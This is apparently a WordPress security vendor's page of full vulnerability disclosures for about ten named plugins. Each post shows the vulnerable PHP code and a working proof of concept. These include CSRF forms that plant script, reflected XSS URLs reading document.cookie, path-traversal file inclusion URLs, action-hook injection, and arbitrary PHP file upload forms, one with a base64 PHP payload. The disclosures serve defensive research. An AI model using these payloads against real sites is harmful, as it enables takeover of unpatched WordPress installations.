16 Jan

One of the 1,000 Most Popular WordPress Plugins Contains a CSRF/XSS Vulnerability

Among the many things we do to provide our customers with the best data on vulnerabilities in any WordPress plugins they use is that we keep track of any of the 1,000 most popular plugins being closed on the WordPress Plugin Directory in case that might be due to a security vulnerability. Yesterday one of those plugins, WP Construction Mode, was closed. No reason has been given for that closure so far, but in just our quick check over the plugin we found a security vulnerability that could have led to it being removed, that is a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability when saving the plugin’s settings.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Technical Details

The plugin registers an admin page to be accessible to those with “manage_options” capability (which normally only Administrators have), which when accessed causes the function show_under_construction_menu() to run:

139
add_menu_page( 'Construction Mode', 'Construction Mode', 'manage_options', 'under_construction', array($this, 'show_under_construction_menu'), 'dashicons-hammer');

When that function, which is located in the file /inc/class/class.smartcat-construction.php, runs, if the GET or POST input “smartcat_construction_save” is set to “update” then the plugins settings will be changed to the value in the GET or POST input “smartcat_construction_options”:

142
143
144
145
public function show_under_construction_menu() {
 
	if ( isset( $_REQUEST[ 'smartcat_construction_save' ] ) && $_REQUEST[ 'smartcat_construction_save' ] == 'Update' ) :
		update_option( 'smartcat_construction_options', $_REQUEST[ 'smartcat_construction_options' ] );

There should be a check for a valid nonce to prevent cross-site request forgery (CSRF) before changing the plugin’s settings.

One of the plugin’s settings, “Analytics Code”, is intended to include JavaScript code, so an attacker could use that to include malicious code on fronted pages of the website by also setting the plugin’s Maintenance Mode to be enabled.

Proof of Concept

The following proof of concept will cause the message “XSS” to be shown in an alert box on the frontend pages of the websites, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=under_construction" method="POST">
<input type="hidden" name="smartcat_construction_save" value="Update" />
<input type="hidden" name="smartcat_construction_options[mode]" value="1" />
<input type="hidden" name="smartcat_construction_options[set_page]" value="all" />
<input type="hidden" name="smartcat_construction_options[analytics]" value='<script>alert("XSS");</script>' />
<input type="submit" value="Submit" />
</form>
</body>
</html>
16 Jan

Our Proactive Monitoring Caught an Authenticated Remote Code Execution (RCE) Vulnerability in WP-Stateless

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through a recently added improvement to that we continue to find more remote code execution (RCE) related vulnerabilities, which isn’t a great sign about the security of WordPress plugins. This time it led to us finding an authenticated variant, which can also be exploited through cross-site request forgery (CSRF), which has been in the plugin WP-Stateless for six months.

Since our Plugin Security Checker utilizes the same checks, it will alert you if plugins you use possibly contain the same type vulnerable code (and possibly contain more serious vulnerable code). From there if you are a paying customer of our service you can suggest/vote for it to receive a security review that will check over that or you can order the same type of review separately.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Technical Details

In the file /lib/classes/class-errors.php the function stateless_notice_button_action() is made accessible to anyone logged in to WordPress through its AJAX functionality:

89
add_action( 'wp_ajax_stateless_notice_button_action', array( $this, 'stateless_notice_button_action' ) );

That function passes the value of the POST input “key” to the WordPress function do_action(), which will “execute functions hooked on a specific action hook”:

261
262
263
264
265
266
267
268
269
270
271
272
public function stateless_notice_button_action(){
	$response = array(
	  'success' => '1',
	);
	$error = false;
 
	if( empty($_POST['key']) ) {
	  $response['success'] = '0';
	  $response['error'] = __( 'Invalid key', $this->domain );
	}
 
	do_action($_POST['key']);

Proof of Concept

The following proof of concept will cause the WordPress action/function do_feed_rss to run, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=button_action" method="POST">
<input type="hidden" name="key" value="do_feed_rss" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
14 Jan

Our Proactive Monitoring Caught an Authenticated Local File Inclusion (LFI) Vulnerability in Shortcode Factory

Recently we added checks for possible local file inclusion (LFI) vulnerabilities to our proactive monitoring of changes being made to WordPress plugins to try to catch serious vulnerabilities when they are introduced in to plugins and considering the state of security of WordPress plugins in probably isn’t surprising we already caught another vulnerability of that type. Specifically we caught an authenticated local file inclusion (LFI) vulnerability in Shortcode Factory, which could also be exploited through cross-site request forgery (CSRF). The vulnerability had been in the plugin for nearly four years without getting noticed before.

Our Plugin Security Checker will alert you if plugins you use possibly contain the same type vulnerable code (and possibly contain more serious vulnerable code). From there if you are a paying customer of our service you can suggest/vote for it to receive a security review that will check over that or you can order the same type of review separately.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Technical Details

In the file /core/functions.php the function scf_load_shortcode_ui() registered to be accessible to anyone logged in to WordPress:

117
add_action( 'wp_ajax_scf_load_shortcode_ui', 'scf_load_shortcode_ui');

In that function the value of the GET or POST input “ui” will be used in an include statement:

105
106
107
108
109
function scf_load_shortcode_ui() {
	include(SCF_UI."/header.php");
 
	if(isset($_REQUEST["ui"]) && !empty($_REQUEST["ui"])) {
		include(SCF_UI."/".$_REQUEST["ui"].".php");

Through the user of directory traversal any .php file on the website can be included and there the code in it to run.

Proof of Concept

The following proof of concept will cause a file named test.php in the root directory of the WordPress installation to be included, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin-ajax.php?action=scf_load_shortcode_ui&ui=../../../../test
11 Jan

Our Proactive Monitoring Caught a Remote Code Execution (RCE) Vulnerability in an Unreleased Version of MailPress

In a reminder of the negative impact of WordPress intentionally leaving those using vulnerable plugins unaware of it, there are still 3,000+ active installs, according to wordpress.org, of the plugin MailPress. Back in July of 2016 we noted that it appeared that hackers were targeting it, while disclosing a vulnerability we had found in it after noticing the apparent hacker interest. At the time the plugin had already been removed from the Plugin Directory and remains so today. The hacker interest has continued as well, as multiple times in the last week we have seen probing for usage of the plugin on our website.

In the meantime the developer has at various times submitted changes to the plugin and one of the recent changes was flagged by our proactive monitoring of changes being made to WordPress plugins to try to catch serious vulnerabilities when they are introduced in to plugins. Maybe not surprisingly considering that the plugin appears to have had a vulnerability that was serious enough that hackers would be interested in exploiting it and that the developer has yet to get the issue resolved that lead to the plugin being removed, it turns out that versions of the plugin that have not been released contain a remote code execution vulnerability.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Technical Details

In the file /Mailpress.php the plugin registers the function mp_cron() to be accessible through WordPress’ AJAX functionality to those logged in to WordPress as well as those not logged in:

91
92
add_action( 'wp_ajax_mp_cron',			array( __CLASS__, 'mp_cron' ) );
add_action( 'wp_ajax_nopriv_mp_cron',		array( __CLASS__, 'mp_cron' ) );

That function will pass a value specified by the GET input “hook” to the WordPress function do_action(), which will “execute functions hooked on a specific action hook”:

345
346
347
348
public static function mp_cron() //wp_cron
{
	define( 'DOING_CRON', true );
	do_action( $_GET['hook'] );

Proof of Concept

The following proof of concept will cause the WordPress action/function do_feed_rss to run.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin-ajax.php?action=mp_cron&hook=do_feed_rss
10 Jan

WordPress Plugin Developers Don’t Do a Good Job of Making Sure There Plugins Are Free of Vulnerabilities They Know of

Our proactive monitoring of changes being made to WordPress plugins to try to catch serious vulnerabilities when they are introduced in to plugins recently caught a good example of an ongoing problem we see when it comes to the developers of WordPress plugins, a failure to make sure that security vulnerabilities that have been in their plugins have been fully removed. In some cases that involves them only fixing one instance of a vulnerability in a plugin and not making sure that there are not any others in the plugin, in others, like this situation, making sure that the vulnerability isn’t in other of their plugins.

Back in October we disclosed a cross-site request forgery (CSRF)/local file inclusion (LFI) vulnerability in the plugin Companion Auto Update. We recently started checking for that type of vulnerability with our proactive monitoring and it quickly lead to us finding that another plugin by the same developer, Companion Sitemap Generator, contains it as well due to the same code that caused the issue with their other plugin.

Clearly relying on developer’s to keep their plugin secure when they fail to make sure to avoid issue they know have been in their plugins leaves a lot to be desired and that is where we come in. Our Plugin Security Checker will alert you if plugins you use possibly contain the same type vulnerable code (and possibly contain more serious vulnerable code). From there if you are a paying customer of our service you can suggest/vote for it to receive a security review that will check over that or you can order the same type of review separately.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Technical Details

The issue occurs in a couple of files in the plugin. One of those is /dashboard/sitemap/start.php. In that file if the GET input “tabbed” exists it will be included (through use of the require() function):

21
22
23
24
25
26
27
if( !isset( $_GET['tabbed'] ) ) { 
 
	require( 'dashboard.php' );
 
} else {
 
	require( $_GET['tabbed'].'.php' );

Through path traversal that code could allow any file with a .php extension to be included, causing the code in the specified file to run.

That file is run when the function csg_dashboard() is run:

224
225
function csg_dashboard() {
	require( 'dashboard/sitemap/start.php' );

And that in turn runs when accessing the plugin’s Sitemap page, which is accessible to those with “manage_options” capability:

182
add_submenu_page( 'tools.php', __('Sitemap', 'companion-sitemap-generator'), __('Sitemap', 'companion-sitemap-generator'), 'manage_options', 'csg-sitemap', 'csg_dashboard' );

Normally only Administrators have that capability. Seeing as Administrators can normally do whatever they want, them intending to use that to cause a file to be included wouldn’t be a vulnerability since among other things they could normally remove security code that would restrict something like this from being possible or just upload a plugin that runs any code they want already.

But in this case, an attacker can cause this to happen without the Administrator intending it since if the attacker could get the Administrator to visit a URL they specify they can cause the local file inclusion vulnerability to be exploited.

Proof of Concept

The following proof of concept will cause a file named test.php in the root directory of the WordPress installation to be included, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/tools.php?page=csg-sitemap&tabbed=..%2Ftest
07 Jan

Our Plugin Security Checker Could Have Warned You About the Possibility of Vulnerabilities in a Couple of WordPress Plugins with 80,000 Installs

On Friday we noted in our post detailing a reflected cross-site scripting (XSS) vulnerability in the WordPress plugin Ninja Forms, which has 1+ million active installations according to wordpress.org, that our Plugin Security Checker,  which is a tool that allows anyone to see if there are possible security issues in WordPress plugins that could use further investigation, had been updated to better catch that type of issues like that based on variations that existed in that plugin’s code from how things are normally done.

We were also interested in seeing if there were other popular plugins that might have similarly vulnerable code that had yet to be have been caught by anyone due those variations, so we ran the updated check from the Plugin Security Checker over the 1,000 most popular plugins in the WordPress Plugin Directory. What we found was there are a number of those plugins that look like they might be vulnerable, though most of them didn’t contain the variations, so our Plugin Security Checker would have already spotted them.

We took a look at two of the most popular plugins, both with 80,000+ installations, with the possible issue and found that both were in fact vulnerable. That is yet another good reason to check plugins you use through our Plugin Security Checker since it will alert you if plugins you use possibly contain a similar issue (and possibly contain more serious vulnerabilities). From there if you are a paying customer of our service you can suggest/vote for it to receive a security review that will check over that or you can order the same type of review separately.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Anti-Spam by CleanTalk

In plugin Anti-Spam by CleanTalk the issue appears to exist in several places, but we happened to check the following line in the file /inc/cleantalk-comments.php:

88
<input id="ct_date_range_from" class="ct_date" disabled="disabled" readonly="readonly" type="text" value="<?php echo isset($_GET['from']) ? $_GET['from'] : ''; ?>" />

That code will output the value of the GET input “from” without escaping it, which is a reflected cross-site scripting (XSS) vulnerability, if it exists, when visiting the plugin’s “Find spam comments” admin page.

Proof of Concept

The following proof of concept will cause any available cookies to be shown in an alert box, when logged in as an Administrator. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/edit-comments.php?page=ct_check_spam&from="><script>alert(document.cookie);</script>

KingComposer

In the plugin KingComposer there are two lines of code that are potentially vulnerable, but one of them doesn’t lead to a vulnerability since other code in the same file limits what values can be output. That doesn’t appear to have been done with a thought to security, since several lines later in the code the issue is there again without that type of protection being elsewhere in the code. The issue occurs in the file /includes/extensions/kc.screen.tmpl.php on the following line:

91
<input class="wp-filter-search" name="q" type="search" value="<?php echo isset($_GET['q']) ? $_GET['q'] : ''; ?>" placeholder="<?php _e('Search Extensions', 'kingcomposer'); ?>" aria-describedby="live-search-desc" />

That code will output the value of the GET input “q” without escaping it, which is a reflected cross-site scripting (XSS) vulnerability, if it exists, when visiting the plugin’s “Extensions” admin page.

Proof of Concept

The following proof of concept will cause the any available cookies to be shown in an alert box, when logged in as an Editor. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin.php?tab&page=kc-extensions&q="><script>alert(document.cookie);</script>
04 Jan

A Hacker Is Probably Already Exploiting This Arbitrary File Upload Vulnerability in a WordPress Plugin

In the last several days someone started making requests using Tor nodes for the file /wp-content/plugins/image-clipboard/readme.txt, which is a file from the WordPress plugin Clipboard Images. That would likely be a hacker probing for usage of the plugin, which has 800+ active installations according to wordpress.org, before exploiting a vulnerability in it. After we noticed that activity this morning we went to look over the code to see if we could find a vulnerability that hackers would be likely to exploit in it and it took only moments to find what in all likelihood is already being exploited.

Making that relatively easy to do is the plugin only contains a single function that contains any code of a substantial nature. That function is named save_image() and it is accessible through WordPress AJAX functionality to those logged in as well as those not logged in to WordPress:

19
20
add_action('wp_ajax_cbimages_save', array(&$this, 'save_image'));
add_action('wp_ajax_nopriv_cbimages_save', array(&$this, 'save_image'));

The code in that function saves a file to the website’s filesystem using data from the POST input “img”:

48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
public function save_image()
{
	$post_id = $_POST['post_id'];
	$img = $_POST['img'];
	$tmp_img = explode(";", $img);
	$img_header = explode('/', $tmp_img[0]);
	$ext = $img_header[1];
 
	$imgtitle = mt_rand(111,999);
	$imgtitle .= '.'.$ext;
 
	$uploads = wp_upload_dir($time = null); 
	$filename = wp_unique_filename($uploads['path'], $imgtitle);
 
	$image_url = $uploads['url'].'/'.$filename;
 
	file_put_contents($uploads['path'].'/'.$filename, file_get_contents('data://'.$img));

The saved file can have any extension, but it is give a random name. That random name is returned when a request to the function is made:

78
echo json_encode(array('file' => $uploads['url'] .'/'. $filename));

So a hacker could upload a .php file with malicious code in it and then request the file to have that code execute.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Proof of Concept

The following proof of concept will cause a .php file to be saved to a location specified in the response to it. When requested, that newly uploaded file, it will output the message “Test”.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=cbimages_save" method="POST">
<input type="hidden" name="img" value="data:image/php;base64,PD9waHAKZWNobyAnVGVzdCc7Cj8+" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
03 Jan

Our Plugin Security Checker Can Now Spot More Possible Issues Leading to Arbitrary File Upload Vulnerabilities

As we have mentioned before, we recently improved our proactive monitoring of changes being made to WordPress plugins to try to catch serious vulnerabilities when they are introduced in to plugins, to build on code we had developed for our Plugin Security Checker, an automated tool you can use to check if plugins you use contain possible security issues. That in turn has allowed us to easily test out new checks for our Plugin Security Checker across a lot of code before introducing it to the public, which makes it easier to improve that tool while not causing unnecessary issues for people using the Plugin Security Checker. One of the checks we have been testing out has now spotted one of the most likely to be exploited types of vulnerabilities, an arbitrary file upload vulnerability, in the plugin Buddy Share It Allusers FB YR, which would allow a hacker to take control of website by adding a file with malicious code to it.

This vulnerability is yet another good reason to check plugins you use through our Plugin Security Checker since it can now alert you if plugins you use possibly contain a similar issue (and possibly contain a lot of other serious vulnerabilities). From there if you are a paying customer of our service you can suggest/vote for it to receive a security review that will check over that or you can order the same type of review separately.

Also of note here is that the vulnerability exist in part due to a lack of protection against directly accessing the file with the vulnerable code in it, which is something we frequently find isn’t being done when we check for it during security reviews of WordPress plugins.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Technical Details

In the file /yr-bpshare-hnd.php, the first code in it will run the function yr_bpshare_options_handler:

3
$yr_bpshare_redir = yr_bpshare_options_handler();

That function will write data specified with the POST input “initlines” (base64 decoding it first) to a file specified by the POST input “optpath”:

4
5
6
7
8
9
10
11
12
13
14
15
function yr_bpshare_options_handler() {
 
	if ( $_POST ) {    // !empty($_POST) 
		$yr_bpshare_linemax = $_POST["linemax"];
		$yr_noname1 = $_POST["noname1"];
		$yr_bpshare_optpath = $_POST["optpath"];
		$yr_bpshare_redir = $_POST["redir"];
		$yr_bpshare_options_lines_init_ser = base64_decode($_POST["initlines"]);
 
		if ($_POST["reset"] == "Reset") {  // reset in file
			$fptr = fopen($yr_bpshare_optpath, 'w');
			fwrite($fptr,$yr_bpshare_options_lines_init_ser);

Proof of Concept

The following proof of concept will cause the specified content to be uploaded to the file /wp-content/plugins/buddy-share-it-allusers-fb-yr/test.php.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[base64 encoded contents of the file]” with the base64 encoded version of the contents of the file to be uploaded.

<html>
<body>
<form action="http://[path to WordPress]/wp-content/plugins/buddy-share-it-allusers-fb-yr/yr-bpshare-hnd.php" method="POST">
<input type="hidden" name="optpath" value="test.php" />
<input type="hidden" name="initlines" value="[base64 encoded contents of the file]" />
<input type="hidden" name="reset" value="Reset" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
02 Jan

Our Proactive Monitoring Caught an Authenticated Arbitrary File Upload Vulnerability in WP Githuber MD

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that we caught a more limited variant of one of the most likely to be exploited types of vulnerabilities as it was being introduced in to a plugin. That being an authenticated arbitrary file upload vulnerability in the plugin WP Githuber MD, which in this case would provide hackers who have access to a WordPress account with at least the Author role with the ability to gain complete control of the website.

This vulnerability is yet another good reason to check plugins you use through our Plugin Security Checker since it can alert you if plugins you use possibly contain a similar issue (and possibly contain a lot of other serious vulnerabilities). The check that flagged this is part of a recent improvement of our detection possible file upload vulnerabilities, so even if you checked the plugins before, you might find they are impacted. From there if you are a paying customer of our service you can suggest/vote for it to receive a security review that will check over that or you can order the same type of review separately.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Technical Details

With the plugin’s Image Paste module enabled, the function admin_githuber_image_paste() is accessible through WordPress’ AJAX functionality to anyone logged as Author level user or above:

43
44
45
46
47
48
$allowed_roles = array( 'editor', 'administrator', 'author' );
 
// For security reasons, only authorized logged-in users can upload images.
if ( array_intersect( $allowed_roles, $user->roles ) || is_super_admin() ) {
	add_action( 'admin_enqueue_scripts', array( $this, 'admin_enqueue_scripts' ) );
	add_action( 'wp_ajax_githuber_image_paste', array( $this, 'admin_githuber_image_paste' ) );

When that function runs it saves the specified by FILE input “file” to the filesystem of the website:

77
$file = $_FILES['file'];
99
move_uploaded_file( $file['tmp_name'], $upload_path . '/' . $filename );

No restrictions are placed on what kinds of files can be uploaded.

There is no protection cross-site request forgery (CSRF), but exploiting it through that runs in to the issue that the uploaded files is given a weakly unique name:

78
$filename = uniqid() . '.' . ( pathinfo( $file['name'], PATHINFO_EXTENSION ) ? : 'png' );

That name is returned when the request is made, so when the request is intentionally made the requester would know what it is:

100
$response['filename'] = $online_path . '/' . $filename;
105
echo json_encode( $response );

Proof of Concept

The following proof of concept will upload the selected file to a location specified in the response to the request, when logged in as an Author-level user, when the plugin’s Image Paste module is enabled.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=githuber_image_paste" method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
21 Dec

Our Plugin Security Checker Lead to Finding a File Writing Vulnerability in a WordPress Plugin with 50,000+ Installs

Yesterday we detailed an arbitrary file upload vulnerability we had noticed had previously been in the plugin LearnPress through a check being run over changes being made to WordPress plugins as part of our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities to see if that check might be something that we could add to our Plugin Security Checker, which is a tool that allows anyone to see if there are possible security issues in plugins that could use further investigation. After finding that it identified that issue in LearnPress we added the check to the Plugin Security Checker and then ran the plugin through to make sure the check was properly implemented. When we did that we found that the tool was flagging a number of other possible issues. We happened to take a look at one of the issues and find that the plugin allows writing arbitrary content to a file, which could be, say, combined with a local file inclusion (LFI) vulnerability to cause malicious code to run.

This vulnerability is yet another good example of where our Plugin Security Checker and someone knowledgeable of security reviewing its results can come in handy, as that vulnerability has existed in the plugin since the first version, which was released three and half years ago. If you are a paying customer of our service you can suggest/vote for plugins to receive a security review that includes checking over any issue identified by the tool or you can order the same type of review separately that will also included reviewing the results of the tool.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Technical Details

The Plugin Security Checker flagged the following line in the file /inc/gateways/paypal/paypal-ipn/ipn.php:

33
print_r( $_REQUEST );

While it was flagged as possibly leading to reflected cross-site scripting (XSS) as the code would output user input, the lines around it instead cause the user input to be saved a file at /wp-content/plugins/learnpress/inc/gateways/paypal/paypal-ipn/ipn.txt on websites using the plugin:

32
33
34
ob_start();
    print_r( $_REQUEST );
file_put_contents( 'ipn.txt', ob_get_clean() );

It looks like the intended usage of this might be to record PayPal Instant Payment Notification (IPN) messages, which shouldn’t be stored in that location for at least a couple of reasons.

Proof of Concept

The following proof will cause the PHP code “<?php echo ‘test’; ?> ” to be written to the file at /wp-content/plugins/learnpress/inc/gateways/paypal/paypal-ipn/ipn.txt, which when included will run.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-content/plugins/learnpress/inc/gateways/paypal/paypal-ipn/ipn.php?test=<?php echo 'test'; ?>